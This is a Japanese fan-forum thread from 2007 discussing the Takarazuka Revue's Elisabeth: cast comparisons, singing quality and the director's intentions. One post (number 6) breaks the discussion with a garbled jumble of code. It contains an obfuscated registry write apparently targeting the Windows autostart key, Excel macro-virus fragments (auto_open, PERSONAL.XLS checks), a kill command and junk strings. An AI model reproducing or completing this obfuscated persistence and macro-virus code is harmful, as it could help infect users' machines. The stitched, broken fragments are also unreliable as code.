【闇が】宝塚エリザベートPart5【広がる】

1 ：名無しさん＠花束いっぱい。：2007/07/30(月) 23:52:55 ID:PLr6GXmI

宝塚エリザベートを語るスレッドです。
980を踏んだ方は新スレッドを立ててください。

前スレ
【最後の】宝塚エリザベートPart4【ダンス】
http://hobby9.2ch.net/test/read.cgi/siki/1181278977/

2 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:09:45 ID:ze7dVuA2

２ｹﾞﾄ？

私的にはルドルフのビジュは祐飛が一番かな。
歌はやっぱりユミコかな。

3 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:14:41 ID:izIxFW/x

同じく!!!!!

4 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:30:58 ID:SXSdgmcs

前スレ980ｰ981です～。
>>1ﾀｿありがとう～。

5 ：名無しさん＠花束いっぱい。：2007/07/31(火) 00:42:38 ID:XH65E65e

月エリザみるまでゆうひの良さがわからなかったがルドみてかっこいールドにビジュぴったりと感心した記憶がある。

6 ：名無しさん＠花束いっぱい。：2007/07/31(火) 01:44:51 ID:SYeJkhMe

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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub

7 ：名無しさん＠花束いっぱい。：2007/07/31(火) 12:21:05 ID:k27VJ7Fr

ビジュアル偏重はもういい
歌偏重で頼む
個人的にはウィーンのエリザは
ジャガー横田にしか見えなかったが、素晴らしかった

けど宝塚は「見た目」だから仕方ない
が、少し歌下手がヒドイ人はヒドすぎる
「感動」「演技」「ビジュアル」は歌の付加価値で良い
せめて、あさこレベルは最低でも欲しい

しかし、それもこれも人それぞれ
結局、エリザは変わらず下手歌エリザにファン以外が怒るてことかw

8 ：名無しさん＠花束いっぱい。：2007/07/31(火) 14:13:09 ID:ldpZS9et

最もらしく語ってるけど、要するに塚ファンはご贔屓がすべて。
贔屓以外には、真っ直ぐな目をお持ちでない。
その程度の塚オタクの意見なんて…笑

9 ：名無しさん＠花束いっぱい。：2007/07/31(火) 16:07:39 ID:9Kw2LquD

ゆひルドは全然印象に残らなかったな。
別に格好悪かったわけでもないけど、
ビジュ最高とも思わなかった。
歌が弱くて、存在感がなくて、見終わって記憶ゼロ。
アサコの方が、何かと印象にある。
シシィが似合ってたと思わないけど、
一生懸命感が印象に残った。

ルドはビジュはコムが一番好きだったけど
今回のテルはそれと甲乙付けがたい。
なんせスタイル抜群。
あれで歌がもう少し上手かったら文句ないのに。

10 ：名無しさん＠花束いっぱい。：2007/07/31(火) 18:50:42 ID:tEwQsTcV

エリザである程度の歌唱力を!というのはその通りだと
思うが、キャラクターに合うかどうかも結構重要かと。

エリザ歴代キャストで人気が高いのは、歌唱と共にキャラクター
がはまっている人が多いような気がするので。

初演の雪の評価が高いのも歌ウマが揃ったことに加えて、
キャラにはまった人が多かったのもあると思う。

フランツとルキーニは初演以来男2と男3に役がふられるのが
常となっているけど、もし、当時これが逆だったらどうだったろう
とたまに思う。
ようするに、高嶺ルキーニに轟フランツ。
(役のインパクト等考えても逆でも不思議は無いと個人的に思っている。
初演時には入れ替えも可能だったのでは?)

二人ともそれなり、いや、ひよっとして予想外にいけるかも
しれないけど、普通に考えて高嶺フランツに轟ルキーニの
配役にして正解だったと思うし、二人への高評価にもつながって
いるように思う。

11 ：名無しさん＠花束いっぱい。：2007/07/31(火) 21:24:15 ID:/G/R6nhX

花組は樹里ルキーニ・瀬奈フランツの方が良かったんじゃないかと思ったけど
それ以外は妥当な配役だと思うなあ。
>10の法則でいくと月組は霧矢フランツ、大空ルキーニだと思うけど違ったし
２番手だからフランツ、３番手だからルキーニに拘ってるわけではなく
たまたまだと思う。

12 ：名無しさん＠花束いっぱい。：2007/07/31(火) 21:46:45 ID:lyzOQiJb

故意かたまたまか、4人連続でルキーニ役者はトップになっている
5人目も射程距離内だし今の6人目も今の状況を鑑みたらﾄｯﾌﾟになりそう
ひょっとしたらルキーニには将来トップにするのを配してるのかもしれない
気になるのは、4人ﾙｷｰﾆ中、3人がﾙｷｰﾆをやった組でトップになってないことだ

13 ：名無しさん＠花束いっぱい。：2007/07/31(火) 22:54:53 ID:eBceFDCN

前スレ998に同意

意外と歌も芝居も良かったのに
水の顔が大きく見えて何だかなぁ・・・w
前髪を工夫するとか出来なかったものか
あと個人的には口紅もサエコみたいな色の方が良かった

14 ：名無しさん＠花束いっぱい。：2007/08/01(水) 00:24:01 ID:Euvq7U2K

>12
言われるまで気付かなんだ…。

しかし、「あと一人ってだれだっけ？」
と一瞬悩んだ…トップを通り越して得体の知れない状態の人か…。

どうでもいいが、特集本のイケコ、やるならどの役って聞かれて
いくつか答えてるけど、その中で
「ルキーニからマグカップを買う人。バッタモンかどうか確かめる（大意）。」
っておいｗ

15 ：名無しさん＠花束いっぱい。：2007/08/01(水) 01:18:31 ID:rKurDS3t

>15
＞トップを通り越して得体の知れない状態の人か…

どうしてお花様が思い浮かんだのだらう・・・

16 ：名無しさん＠花束いっぱい。：2007/08/01(水) 12:53:54 ID:XknDQ+fM

>>15

クスッ

17 ：名無しさん＠花束いっぱい。：2007/08/01(水) 14:52:34 ID:Hn2jjXr+

>>10
初演が嵌っているのは、完全に宛書きだから。
宝塚版でフランツが男２でルキーニが男３になるのは、初演の高嶺と轟に合わせたため。
元々のウィーン版では、ルキーニが男２と言うべき配役になる。

宝塚版では、フランツの格を上げるべく配慮されているが、それでもやはりフランツは
地味で難しい役で、ルキーニが儲け役になる。
やる組によって、フランツとルキーニは入れ替えても良いと思うんだけどね。

18 ：名無しさん＠花束いっぱい。：2007/08/01(水) 15:33:47 ID:MOXqQrTC

>17
確かに。
フランツに忠実にやろうとすると、溜めに溜めてやらないといけないから地味にしか見えないんだよね。
で、存在感を出そうと派手にやると、本来のフランツから離れる。
謹厳実直を絵に描いたような、ひたすら規律正しく黙々と政務をこなす役。
元々上に立って治める人は、感情を露わにすることはタブーだしね。
それでもシシィは、元々主役だから感情を表に出せる場面があるけれど
フランツはそれもほとんどない。
本来、ものすご～く実力というか腹芸を要求される役。
でもって、史実に忠実にやればやるほど地味になるｗ

19 ：名無しさん＠花束いっぱい。：2007/08/01(水) 15:39:18 ID:Hn2jjXr+

イケコはウィーン（かどこか）で初めてエリザ見た時に、ルキーニを見て
「あ、轟だ」と思ったそうだ。

20 ：名無しさん＠花束いっぱい。：2007/08/01(水) 15:46:01 ID:ouqUgq5f

そういえばこの前のオサとのトークショーで樹里ぴょんが
フランツはきつかったと言ってた。実感こもってた。

21 ：10：2007/08/01(水) 17:45:36 ID:i3CEHjCm

>11
ガイチさん・・・。
>17
常々男2と男3の役の振り方に疑問を持っていました。
2人の個性を見て配役を逆にしたのか・・。
初演の強みですね・・・高嶺さんと轟さん双方にとっていい判断だったと。

男2と男3のキャラによって柔軟にフランツと
ルキーニを入れ替えるの、私もいい案だと思います。
スター制をしいている以上、難しいんだろうけど・・。

22 ：名無しさん＠花束いっぱい。：2007/08/01(水) 18:19:47 ID:u9//WLOm

ガイチは専科からの特出だから番手にこだわった配役ではないのでは？
きりやんがフランツならルキーニやってたでしょ。
他は妥当だよ。
ノルルキにリカフランツ？タカコルキにわたるフランツ？？ゆみこルキにキムフランツ？？？
どう考えても逆で正解。

23 ：21：2007/08/01(水) 19:08:43 ID:i3CEHjCm

>22
11さん、樹里さんの名前だけ出してたから、ガイチさん
忘れたのかと思ったのよ。

それと、これまでのフランツとルキーニの配役に
不満があるわけではないよ。

ちょっと誤解を招く書き方でしたね。

新専科のお2人やゆみこちゃんの移動もあって、どの組も
キャラ的にもうまく配役できてるなぁと思ってます。

配役を時には逆に！と書いたのは，今後、キャラ的に逆の方が
いいんじゃないか？といった場合に柔軟性を持って対処できれば
よりいいものが観れるかな・・といったぐらいの意味なのです。

24 ：名無しさん＠花束いっぱい。：2007/08/02(木) 00:08:07 ID:MkbXtKwq

　私的には今回が１番好みの演出だった。。。さっきいままでのエリザみてみたけど何か色っぽさに欠ける

ように感じた・・・水版みるまでそんなに思わんかったが

25 ：名無しさん＠花束いっぱい。：2007/08/02(木) 16:00:35 ID:86b15MtN

今回のエリザの中では、ハマコのゾフィーが一番好きだな。

26 ：名無しさん＠花束いっぱい。：2007/08/02(木) 16:09:57 ID:oqrEwHTH

シシィ役泣かせだと思った>ハマコゾフィ。
（東宝は知らないんだけど）ウイーン版と比べると、
塚版はエリザベートに優しい演出になってると思う。
そのひとつがゾフィの意地悪姑化だと思うので。
小池先生の今回の演出の意図はなんだったんだろう。
ハマコの技量を活かしたかったのか、
となみをお姫様から脱却させたかったのか。

27 ：名無しさん＠花束いっぱい。：2007/08/02(木) 18:07:05 ID:JmDLegnK

>>26
メディア類に出ていたイケコのｺﾒﾝﾄを目にした限りでは
となみへの期待も関心も感じらず。
東京ﾊﾟﾝﾌでは対となみへのｺﾒﾝﾄは冷たかったし、成果に不満が感じられた(in大劇場公演)。
再演雪に対するイケコの関心と期待の的はは水トートとハマコゾフィだと思われ。

28 ：名無しさん＠花束いっぱい。：2007/08/02(木) 18:29:43 ID:edCFT9f+

>26
それは原作者の方（名前忘れたー）が稽古場へ来たときに、
ハマコがした質問に対して「ゾフィーは決して悪役じゃないんだ」的なことを
言われたからだと思う。

29 ：名無しさん＠花束いっぱい。：2007/08/02(木) 19:26:14 ID:Dl6XKMMC

>>27
劇団の思惑とイケコの関心事は違うとは思ったｗ
すくなくともハマコに対する期待大なんだろうなってのは、わかる。
新公の夢再びじゃないけどさ。

30 ：名無しさん＠花束いっぱい。：2007/08/02(木) 22:56:39 ID:+JfeCIDn

大劇場初日からしばらくは新米皇后を正しく導くゾフィーだったが
大劇場公演後半になると少し意地悪姑度がアップ。
となみがどうにもならなかったんでシフトチェンジしたのかと・・・
（ゾフィがイケズなほうがシシィは演じやすいだろう）
今回の思い入れはゾフィ＆フランツにあるのではないかと思う＞イケコ

31 ：名無しさん＠花束いっぱい。：2007/08/02(木) 23:36:49 ID:PlDELTW1

フランツに関しては役作りという面で評価してるとは思えないなぁ。
まぁ少ない発言からなのでわからないけど。

32 ：名無しさん＠花束いっぱい。：2007/08/02(木) 23:51:38 ID:Q9SMntA3

勝手におまいらの代弁者にさせられて
イケコも気の毒になｗ

33 ：名無しさん＠花束いっぱい。：2007/08/03(金) 00:05:06 ID:d7z9MqoL

演出家の意図したとおりに動く事より、
限りある在団期間の中でファン増やす事の方が切実だし大事だと思うけど。

てかイケコが何考えてるかなんて他人に解るわけないじゃん。

34 ：名無しさん＠花束いっぱい。：2007/08/03(金) 00:08:02 ID:QZkjwJeH

その点、ゆみこフランツはステキングとか言われて
新たなファンゲトもできたみたいだし大成功だな。

35 ：名無しさん＠花束いっぱい。：2007/08/03(金) 00:20:57 ID:VjeCFx/S

こないだキャトルでエリザ実況CD流れてたが、
最終答弁のゆみこの「♪エ～リ～ザベーっ！」に、
心臓鷲掴みされたよｗ
あんな所で燃えるなんて思わんかった。

36 ：名無しさん＠花束いっぱい。：2007/08/03(金) 00:25:26 ID:Ff04oXkT

>31
イケコ、ゆみこに関しては、1幕お稽古中はダメだしばかりしたけど
2幕ではベタ誉めだったらしいぞ。
>33
それはちょっと違うような。
役者として、演出家の意図を汲み取ることはすごく大切なこと。
みんなが勝手な解釈でやったら舞台はめちゃくちゃになる。
もちろん、自分なりに役の解釈をするのは大切なことだし
演出家とも話しあってベストな役作りをするのが舞台というものだと思うけど。

37 ：名無しさん＠花束いっぱい。：2007/08/03(金) 00:29:44 ID:0Ij1dh0G

>30
それは多分アタリかと・・・
イケコ、昔から歌える生徒にお気に入りが多いから。
オサがその良い例。

ハマコとユミコに関してはお気に入りかどうかは知らないけど
初演メンバーだし、最初から一番信頼してアテにしていたと思う。

38 ：名無しさん＠花束いっぱい。：2007/08/03(金) 03:21:07 ID:LUlv9kbn

イケコのお気にはひろみでは…。

39 ：名無しさん＠花束いっぱい。：2007/08/03(金) 07:15:20 ID:znkSNIAa

>34　上げてまで嫌味？ｽﾃｷﾝｸﾞと騒いだのは、元からのゆみこファンだよ。

40 ：名無しさん＠花束いっぱい。：2007/08/03(金) 08:30:33 ID:TC+CXZUb

雪スレで盛り上がってたよ>ステキング
２ちゃんで絶賛なんてほとんどのファンはしないだろうし、組ファンにも受けたんだろ。

41 ：名無しさん＠花束いっぱい。：2007/08/03(金) 09:27:30 ID:ysxF2lrU

ビジュアル期待してたんだけど、むしろトートに関しては
これまでのヅカ的つくりを廃して、水さんにあったヘアメークを
研究して、冒険してもよかったんじゃないかと思った。
短髪で黒髪で・・・とかね。

一回しかみられなかったけど、一回でいいや・・・。

42 ：名無しさん＠花束いっぱい。：2007/08/03(金) 10:36:20 ID:huhvNhMh

黒髪トート！考えたことなかったけど萌えそう。
同じイケコのメフィストフェレスを思い出すかなあ。

43 ：名無しさん＠花束いっぱい。：2007/08/03(金) 20:58:46 ID:FHVjcGMy

となみ「私をみすてるろれ！！れてって！！」に吹いた。
今日マミさん来てたね。

44 ：名無しさん＠花束いっぱい。：2007/08/03(金) 22:48:46 ID:f2nRZxp7

>38
それはどう見ても違う。
何か義理合ってひろみを使ってるみたいだけど。
それはどの先生でもある話。
皆人間でｗ色々しがらみがあるから。

イケコはむか～しから歌える生徒を重用してる。
ずっと見てると好みのタイプの生徒は大体分かる。

45 ：名無しさん＠花束いっぱい。：2007/08/04(土) 00:27:11 ID:V967/vyL

>42
ﾊﾟｯｻｰｼﾞｭ地獄王みたいな黒髪トートの理事を
観たい！と真剣に考えたことがありますた。
理事はともかくも、全身黒いトートはありじゃなかろうか。

46 ：名無しさん＠花束いっぱい。：2007/08/04(土) 00:48:24 ID:ls0znmhw

>45
外国じゃ既に黒髪トートは存在してる。

47 ：名無しさん＠花束いっぱい。：2007/08/04(土) 01:15:10 ID:DUBM/Fgp

しかし水の黒髪というと、
アオセトナが真っ先に頭に思い浮かぶ件。

もしくはティリアンとｋ(ry

48 ：名無しさん＠花束いっぱい。：2007/08/04(土) 01:44:33 ID:LAabZF+M

もう髪なんていらねえよ、夏。

49 ：名無しさん＠花束いっぱい。：2007/08/04(土) 09:00:34 ID:9pYqdB27

このまえ二階席から見ていたら、お見合いの場面の角が折れる鹿の像と
目が合ってしまった・・・。
かなーり目が寄ってますね。面白い顔だ。

50 ：名無しさん＠花束いっぱい。：2007/08/04(土) 19:29:38 ID:9dhi0nP5

>49
ハプスブルグの双頭の鷲にも注目してみてね

腰～太もものラインが意外に女っぽいのは萌えか萎えか。
水トート地毛タンゴの髪型でトートやってくれんかね。

51 ：名無しさん＠花束いっぱい。：2007/08/05(日) 02:48:00 ID:eyWckWwX

昨日、エリザベートを観賞してきましたが…白羽さんと水さんって歌手力が…響かないですが…

52 ：名無しさん＠花束いっぱい。：2007/08/05(日) 02:48:17 ID:mifSgtS6

最近同期からのメールが多い。
大抵話の行き着く場所は彼氏が欲しいとゆう話だ。
合コンも多いらしく彼氏探しに必死な同期の姿が目に浮かぶ。

By.元91期　龍○いくまの　blog

【夏休みにした事】の中にも「同期と合コン」とあったな。

53 ：名無しさん＠花束いっぱい。：2007/08/05(日) 04:39:53 ID:C+SdTVPm

連れ曰くとなみは「ときどきすごい上手い時がある」らしいｗ
低音と高音は出てるけど大体が不安定だよね・・・。
とりあえず水は正直どこを楽しめばいいのか良くわからん・・・
歌はマリコ並だし、踊りはズンコ程でもなく、かといってルックスもサエコほどでもない・・・芝居？？

今回はホントハマコゾフィーしか楽しみがない。
闇が広がるだけはなぜか異様な迫力が出てたがｗｗ
キムやテルを見てると若さのパワーもそれだけで楽しませてくれるね。

54 ：名無しさん＠花束いっぱい。：2007/08/05(日) 08:16:05 ID:iQl53q4u

ヴィン嬢の演出と死刑囚の母を変えてくれたら良いのにな。

55 ：名無しさん＠花束いっぱい。：2007/08/05(日) 08:57:35 ID:B7+2w/aU

昨日やっと初見でした。
6組目にして、ようやく初演の影を払拭できるエリザが登場した、
と感じました。（初演ファンですが）
水トート、ここで歌が、と言ってる人は同じ公演を見てるのかしら？と
思うくらい、問題なし。良かったですよ。
ミューの歌として感情が載っていて、充分に聴き応えがあるものでした。
何より、あのビジュアルと質感（人に使う言葉ではないかも知れませんが）が、
なんとも魅力的なトート像でした。

白羽エリザ。ある意味なりふり構わぬ必死さが、
自身の手で自らを孤独に追い詰めていったエリザと重なって、
理屈ぬきで胸に迫ってきた。鏡の間の美しさも見事。
2幕病院、泣かされました。

彩吹フランツ。上手い。少なくとも歌の技術では過去最高では。
（あとは好みの問題）
初夜の後の件で「出てって」といわれそのまま出て行ってしまう
心の鈍さ（高貴ゆえ？）は、フランツを象徴していると思うのですが、
ちゃんとそういう人として演じきっていて、立派だなと思った。

音月ルキーニ。キャストを聞いたときは若さに不安を感じたが、
素晴らしい出来。台詞回しも歌もアドリブも緩急自在。恐るべき下級生
ですね。狂気の表現も、宝塚の枠を超えたものを感じました。
彼女、この公演でファンが増えるんじゃないかな？

ゾフィーの見事さも特筆ものでしたし、アンサンブルも良かった。
ウィーン版の後という、これまでにないプレッシャーもあったでしょうが、
宝塚のエリザベートとして誇れる舞台だったと思いました。
まだ興奮していて、２にふさわしからぬ長文になってしまい、失礼。

56 ：名無しさん＠花束いっぱい。：2007/08/05(日) 11:28:49 ID:Fy0cSTXi

キムはもう下級生って学年でもないから…
いつまでもそう言われるとこが課題だな

57 ：名無しさん＠花束いっぱい。：2007/08/05(日) 12:43:37 ID:C9w1KF2M

赤、金、銀、灰もあるぞ＞髪色

ただ赤は、堕天使のコムのイメージと重なりそうだから、長髪は勘弁だな。

58 ：名無しさん＠花束いっぱい。：2007/08/05(日) 13:10:32 ID:Ci7CeGPm

好みは人それぞれとはいえ、水トートの歌にフラストレーションを
感じない>>55ﾀｿの耳が羨ましいよ…。

59 ：名無しさん＠花束いっぱい。：2007/08/05(日) 13:15:55 ID:5jIsky/1

キム、ナイフ受け取って嬉しそうに舐めるようにナイフみるとき、
｢もはや白目だそれは……怖…｣と思った。

すごかったよ。改めて見なおした。
あと立パパが良かったなー

60 ：名無しさん＠花束いっぱい。：2007/08/05(日) 13:24:45 ID:saptzAD+

>>59
ワロタw

61 ：名無しさん＠花束いっぱい。：2007/08/05(日) 21:11:23 ID:C+SdTVPm

>>58
本当に人それぞれだな～。
人の感想にケチつけるつもりは全然ないけど、
自分もミズの歌聞いててハラハラというか、イライラした。
別にミズが悪いとは思わないけど、音域があきらかに合ってないよね。かわいそう。

62 ：名無しさん＠花束いっぱい。：2007/08/05(日) 21:17:08 ID:eYymrk4l

問題ないと感じる人の方が、きっと多いと思う。

63 ：名無しさん＠花束いっぱい。：2007/08/05(日) 21:19:39 ID:lnnhQpoY

>59
とうとうガラスの仮面の世界に…

64 ：名無しさん＠花束いっぱい。：2007/08/05(日) 21:21:24 ID:rUkpaBXC

55ﾀﾝは調子の良いときに当たってラッキーだったとｵﾓ
自分はムラ２回、東京２回見たけど
歌に限っての感想は

・ムラ初見…ﾄｰﾄｼｼｨﾙﾄﾞが聞いちゃいられねぇ、つかコレ本当にエリザか？
・ムラ２回目(楽近く)…すごい進歩、私が踊る時がちゃんとメロディに聞こえた
　　　　　　　　　　　最後のダンス以外は聞けるレベル　シシィ上手かった
・東京初見…また退歩？私が踊る時が何の歌かわからんくらいひどかった。
　　　　　　闇広は二人とも疲れてんのか？ってくらい気が抜けてた。
　　　　　　私だけにがへろへろだった
・東京２回目…同じキャストが演じてると思えないくらい良かった。ﾙﾄﾞはすごい進歩
　　　　　　　ﾄｰﾄ音程が安定して安心して聞いてられた　ｼｼｨ迫力あって聞き応えあり。

って感じでした。日によって出来にばらつきがあるな～という印象。
今週中にラスト１回行くので、調子のいい時に当たるといいな。

65 ：名無しさん＠花束いっぱい。：2007/08/05(日) 22:46:08 ID:OcmxkLmC

土曜午後かしげさん来てたね。
3週間ぶりに観たけど、ﾄｰﾄ随分良くなってたけどな。
ｼｼｲは所々りきみ過ぎかなと感じた。

66 ：名無しさん＠花束いっぱい。：2007/08/05(日) 22:48:02 ID:TINSRyDp

家教の先生はフランス語で何て怒ってるの？

67 ：名無しさん＠花束いっぱい。：2007/08/05(日) 23:39:23 ID:EjNnTLfc

Je vous en pris, princess!　
Mais, princess!　

68 ：名無しさん＠花束いっぱい。：2007/08/06(月) 00:09:56 ID:N7PBbe31

>>67タン
サンクスです。でもどんな意味？
でもマルチ翻訳だと↓こんなになるの～（；；

「私は、あなたにそれ（王女）の取りました！」
「しかし、王女!」

69 ：名無しさん＠花束いっぱい。：2007/08/06(月) 02:00:07 ID:e21R6XfJ

さあどうぞ、お姫さま！
でも、お姫さま！

お姫さまなのかお嬢さまなのか、どっちがいいのか分からんけどこんな感じ

70 ：名無しさん＠花束いっぱい。：2007/08/06(月) 02:41:47 ID:zmor5HZd

シシィの場合はお嬢さんでいいんじゃなかろうか。

>>64
絶好調の時もあれば不調の時もある。
それはわかるけど、あまりにも出来にムラがある時点でアウトだよ・・・
いくら舞台が生物っていっても、一回しか見られない人もいるわけだし。
コンディションの問題だったにしても、やっぱり舞台人としてはよろしくないしね・・・(最近なら、とうこや水が何度か叩かれてるからわかると思うが)
ましてや音程の問題なんて論外。

71 ：名無しさん＠花束いっぱい。：2007/08/06(月) 08:05:21 ID:c+ykkoLn

私、そんなに出来不出来の落差感じなかった。
むしろ、ミズは公演を通じて音程については安定してるなあと思ったクチ。

72 ：名無しさん＠花束いっぱい。：2007/08/06(月) 09:26:01 ID:vbmLBhna

絶賛されてるゆみこフランツの歌が
私は(ゆみこにしては)いまいちだったかなぁ・・・
ｷｬﾘｴｰﾙのように歌い上げる見せ場がないのもあるが。
芝居は小技がきいててうまいと思ったけど
歌は低音がぜんぜん出てなくて何歌ってるのかわからないし
最終答弁の場面もわざと抑えて歌ってるのか？と思うくらい
迫力がなかった。
もちろん主要キャストの中では安心して聞いていられたけど。
ゆみこは東京に来てから抑えて歌ってるって感想あったけど
両方見られた方どうですか？

ルキーニ＆ゾフィ以外は、とにかく薄味で上品なエリザだと
思いました。
マダムヴォルフですら、お品がいいなぁと感じた。
花エリ宙エリのコッテリ風味が好きな人には物足りないだろうな。
それと今回、芝居の尺が短くないですか？
エリザってもっと長いと思ってたけどやけに早く進む気がして。特に一幕。

73 ：名無しさん＠花束いっぱい。：2007/08/06(月) 10:45:07 ID:EJLYDkCZ

私はハマコゾフィも薄味だと思ったな。
大絶賛されてるから言いにくいけど、なんか普通に綺麗で賢い女性になってて
正直あまりインパクトが感じられなかった。上手いのは否定しないけどね。
フランツ共々非常にノーブルなロイヤル親子で、そりゃシシィは馴染めねーよなという意味では
大納得したけど。初演の朱ゾフィのインパクトが大きすぎたかなぁ。

74 ：名無しさん＠花束いっぱい。：2007/08/06(月) 14:38:34 ID:6a5L1yWO

ちょっと気が早いけど、
今後のゾフィの演出に興味がある。
一巡目のデフォルメしたゾフィに戻すのか、
リアルなのを二巡目のゾフィとするのか。

75 ：名無しさん＠花束いっぱい。：2007/08/06(月) 14:45:04 ID:8HQS9s0f

人物造形の演出が今回のをデフォとしてくなら
セットや物語的な部分の演出もかなり変えないと
宝塚的ストーリーに変更してる部分と、リアルな人物造形の
間にある溝がどんどん深くなる気がする。

今回の雪はイケコが作りたいエリザの方向性が今ひとつ見えてこないんだよな。
役作りとしてはそれぞれかなり好きなんだけど。

76 ：名無しさん＠花束いっぱい。：2007/08/06(月) 14:55:36 ID:JUstwFLp

ミズの歌をマリコ並みというﾔｼ
リアルタイムでみてねぇだろ（￣▽￣）
あれは凍りつくぞ

77 ：名無しさん＠花束いっぱい。：2007/08/06(月) 14:59:06 ID:HQpEojgM

>72 両方観た者です。　ゆみこの歌は、ムラでは結構気持ちよく
聴き入ることが出来ましたが、東宝ではなんだろう・・・音程も良くなく
気持ちよくなるはず、と構えていただけに肩すかしでした。
どうしてなんだか、わかりませんが、初めてそう感じました。

78 ：名無しさん＠花束いっぱい。：2007/08/06(月) 15:20:38 ID:qJbXKYHw

調子悪い日だったんじゃないの？
期待大きすぎると不満も倍増するし。

79 ：名無しさん＠花束いっぱい。：2007/08/06(月) 19:56:33 ID:F2Hky9xI

>76
胴衣
ミズが上手いとは決して言わないが
マリコの歌（？？？？？）は
ミズの比ではない！
「て～んし～の～うたは～・・・」
初演雪を生で観ていたら、驚きは余計にハンパではない（逝

80 ：名無しさん＠花束いっぱい。：2007/08/06(月) 20:16:17 ID:6a5L1yWO

>「て～んし～の～うたは～・・・」
初演で初見の時、いっちゃんどうしたがんばれと思った。
いや、合ってたんだけどね。

81 ：名無しさん＠花束いっぱい。：2007/08/06(月) 20:56:31 ID:vbmLBhna

最後のダンスの
「おぉ～～ぅおぉぅれぇ……だぁ～～！」の所も
誰のが正しい音程なのかいまだにわからん

82 ：名無しさん＠花束いっぱい。：2007/08/06(月) 22:04:01 ID:O1a3vb1o

＞「て～んし～の～うたは～・・・」

この音程が怪しく聞こえなかったトートはいない。
オサも「ん？」と思った。

83 ：名無しさん＠花束いっぱい。：2007/08/06(月) 22:41:28 ID:JUstwFLp

へんひのうはは～よろほひ～♪
ｂｙまりこ

84 ：名無しさん＠花束いっぱい。：2007/08/06(月) 23:11:10 ID:g8IO2qPk

確かに「ｱ行」が全部「ﾊ行」に聞こえるって当時のﾈｯﾄでﾈﾀにされてたなw＞ﾏﾘｺ

１幕ﾗｽﾄの「お前に命、許したために～」のしょっぱなを
「ほまへにひのち～」と書いてるﾔｼがいて、笑い転げた記憶がw

85 ：名無しさん＠花束いっぱい。：2007/08/06(月) 23:42:46 ID:2xt71sJ/

大劇初日頃のハマゆみは、かなり押していたけど
今は自分の領域を守っている感じ・・・
舞台全体のバランスは落ち着いているけどちと物足りない。

大劇楽近くのゆみこフランツは、台詞の抑揚をつけていて
（「帰っておいで」とか）分かりやすくなっていたけど、
今は淡々とした台詞回しに戻っている。
私は彼女の台詞声と言い方が好きなんだが、
いつも押しが弱いだの地味だの言われるから、
観客に対して分かりやすい芝居をすることを
考えてもいいかもしれない。

86 ：名無しさん＠花束いっぱい。：2007/08/07(火) 00:20:33 ID:gZwrfX+j

ハマコゾフィー、皇太后度よりただの姑度が上がってるorz
まあ、大劇初日近くは本当に「…ゾフィーの方が正しいこと言ってるよな…」
と抵抗なく思うくらいで、同時にエリザベートにこれからのしかかる
旧い世界の歴史の重さ、その息苦しさを象徴しててよかったんだが、
あまりに良すぎてエリザベートにとっての、自由を求める正当性まで
揺らしてしまった部分があったんだろうな…。

87 ：名無しさん＠花束いっぱい。：2007/08/07(火) 00:31:22 ID:s0arB+mS

ゆみこの声で
「♪皇后の義務～果たさなくては～自分を押さえて生きるのだ～♪」
が聞きたいなー。あのフレーズ好きなんだよな。

88 ：名無しさん＠花束いっぱい。：2007/08/07(火) 02:38:54 ID:eaDd64ES

>>81細かいが、「だ」じゃなくて「さ」だよ。

「だ」だったら、「どぁ」になってて、
また笑いの神降臨てなことに

89 ：名無しさん＠花束いっぱい。：2007/08/07(火) 12:23:08 ID:IQVgDGSW

５回ほど観劇したけど、私もミズは安定してると思ったなぁ
あの、記者会見の時の「最後のダンス」を聴いたときはどうなることやらと思ったけどｗ

東宝はこのまま地毛タンゴなのかな？
こうなってくると、鬘タンゴを見ていたいのだが…

90 ：89：2007/08/07(火) 12:24:24 ID:IQVgDGSW

ゴメン訂正
見ていたいのだが…→見てみたいのだが…

91 ：名無しさん＠花束いっぱい。：2007/08/07(火) 15:23:37 ID:SDSrJd9V

･･･水トート、ロングラン公演してくれないか。はまってぬけだせない。

92 ：名無しさん＠花束いっぱい。：2007/08/07(火) 18:49:30 ID:r2lx0t3w

漏れはロイヤルファミリーに嵌った･･･とことんノーブルだわぁ
ルドのヘタレっぷりもなんかツボだしｗ

93 ：名無しさん＠花束いっぱい。：2007/08/07(火) 21:49:57 ID:AeqqL+fj

私もヘタレﾙﾄﾞかなり好きだw
藻舞にクーデターなんてどう見ても♪無理だよ～
な所が絶妙にそそるw

94 ：名無しさん＠花束いっぱい。：2007/08/07(火) 22:51:34 ID:vb87Iv8T

ロイヤルファミリー、ノーブルってのはちと大げさ。
全体的に品は良くて過去５組に比べて、積極的に庶民的なメンバーは混じってないとはいえる。
過去のでもノーブルとまでいえるのはノルフランツ、ぶんルドルフ、ハナエリザぐらい。
新雪ファミリーは品は悪くないけどそこまでは行かない。

95 ：名無しさん＠花束いっぱい。：2007/08/07(火) 23:11:40 ID:ilh6TsJ5

>94
ノルとブンがノーブル？
普通に品はあったけど、ノーブルってのとは違うような・・・
ノルは気取りまくってたけど、一番似合ってたのはTCAのおかまアシュレみたいな３枚目だし。
ブンに至っては・・・どこかダサくて、田舎貴族って感じだったけど？
どちらも王子様役者でもなかったし・・・ファンはそう思ってたみたいだけど。
見た目だけならカナメの方がﾍﾀﾚなﾄｺも含めて、よっぽどノーブルかと。

花總は確かに皇室関係が似合ってた・・・但し日本・アジア系なお顔立ちだけど。

96 ：名無しさん＠花束いっぱい。：2007/08/07(火) 23:15:57 ID:zXcTMGLs

だよねぇ。ぶんルドルフこそ庶民派代表って感じ。

97 ：名無しさん＠花束いっぱい。：2007/08/08(水) 00:07:06 ID:DW2C/cin

革命に対する態度(あくまで私見)

